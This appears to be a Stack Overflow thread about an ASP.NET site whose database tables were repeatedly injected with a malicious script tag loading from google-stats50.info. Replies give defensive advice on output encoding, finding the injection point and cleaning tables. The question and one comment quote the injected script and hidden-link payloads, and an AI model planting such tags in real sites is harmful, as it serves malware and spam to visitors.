views:

552

answers:

6

Hi All,

I am in a very big trouble. Please help!!!!!!!!!!

My website has been attacked by some malicious script < / title> < script src = http : // google-stats50.info/ur.php >. This script is appended to any column(s) of some table automatically. I have removed this script. But after a few hours, it re-appeared in some tables. But this time it is < / title> < script src = http : // google-stats49.info/ur.php >.

My client is complaining about the script. Technology used is ASP.NET 1.1, SQL SERVER 2005.

Please help.

Thanks in advance!!!!!!

+2  A: 

Shut down the site. Your server may or may not be screwed now.

You have to find out where the changes are coming from - Database or File system

If it's the DB then you may be ok, someone is probably using sql injection. Set permissions so that the DB cannot be updated by the site for now until you find the SQL INJECTION point.

If it's your file system then you probably need to clear and reset the site. They are in and you won't get rid of them. Find your entry point, but it will be hard.

burnt_hand
Also, try to sanitize(not allowing html/js) your users inputs.
sheeks06
we load content on 3rd party website through scripting technology...that's the purpose of my Website....is there a way to resolve it a.s.a.p
Probably way too late now, but if things like this happen and it's asap, you usually need to hire an expert. A very expensive expert.
burnt_hand
+4  A: 

When you render the text from the database you can use two ways to avoid this script.

  1. User Server.HtmlEncode(DataFromDatabase);
  2. Use the Microsoft Anti-Cross dll library that have a similar function with more options.

Last MS Anti-XSS library now is 3.1.
How to using video

How they pass this script.

  1. On the contact or other forms.
  2. On the browser reference on the statistics and when they browse your site, you keep a log about this and when you go to see this log the script is running.

Hope this help.

Aristos
Ok..thanks.....I will implement these preventions into my application. But is there any quick solution to remove the script?
I dont' know how they are passing this script and injecting it into the database.
@user423719 I have type on my answer 2 possible ways how this is injecting, from the contact forms, or from the browser data that you log. Do not remove the script, just make it to not run, then locate how is entered and if you like you can make more measures.
Aristos
Allright....thanks.....could IIS log file help me in this context i.e. to identify the script entry point? If yes, then which IIS logging tool will help? Please help.....
@user423719 The IIS log can help you only if the data is comming from the browser info. Search it to see if you find the above script. If the enter is from forms then you need to keep the ip log on every entry of data, or just create a way to locate them and not enter them at all but open an alert flag, what ever...
Aristos
A: 

There was a Question on this the other day.

http://stackoverflow.com/questions/3761064/google-stats50-injection-attack

Tim B James
but there is no instant resolution..do u have any?
There isn't an instant resolution. You will need to temporarily take your website off-line in order to clean out the XSS Script. Then try to identify where your XSS Vulnerability is. Most likely a form on the site, or worse they have hacked your web server/ftp server and running something which is inserting code into your physical files.
Tim B James
A: 

I would recommend that you remove all extern hostheader binding in the IIS. That allows you to locate the problem locally without any client of yours might be infected/be stolen from

citronas
A: 

A Quick remedy

Following is not a solution, but with this you can remove the script from the database in a single query. Thats what i do for now :).


UPDATE Table_Name SET Column_Name = REPLACE(CAST(Column_Name AS nvarchar(MAX)), '', ' ')


This one works like the find and replace stuff in word. If you find any ware abouts about the virus script, do post it here.

Regards, Masood

Muhammed Masood
Hi guys, got another injection link. It seems this one being injected by the same bot. Cant post the link here. </title><a style=display:none; href=http:// worid - of - books . com >book</a>
Muhammed Masood
A: 

same problem here... it started about 15.30 and infect 4 tables... here is solution for full database search: http://justgeeks.blogspot.com/2006/10/search-ms-sql-server-for-any-text.html just edit it to return distinct table names.

and this will work as Masood mention

UPDATE Table_Name SET Column_Name = REPLACE(CAST(Column_Name AS nvarchar(MAX)), 'stupid script', '')
Davor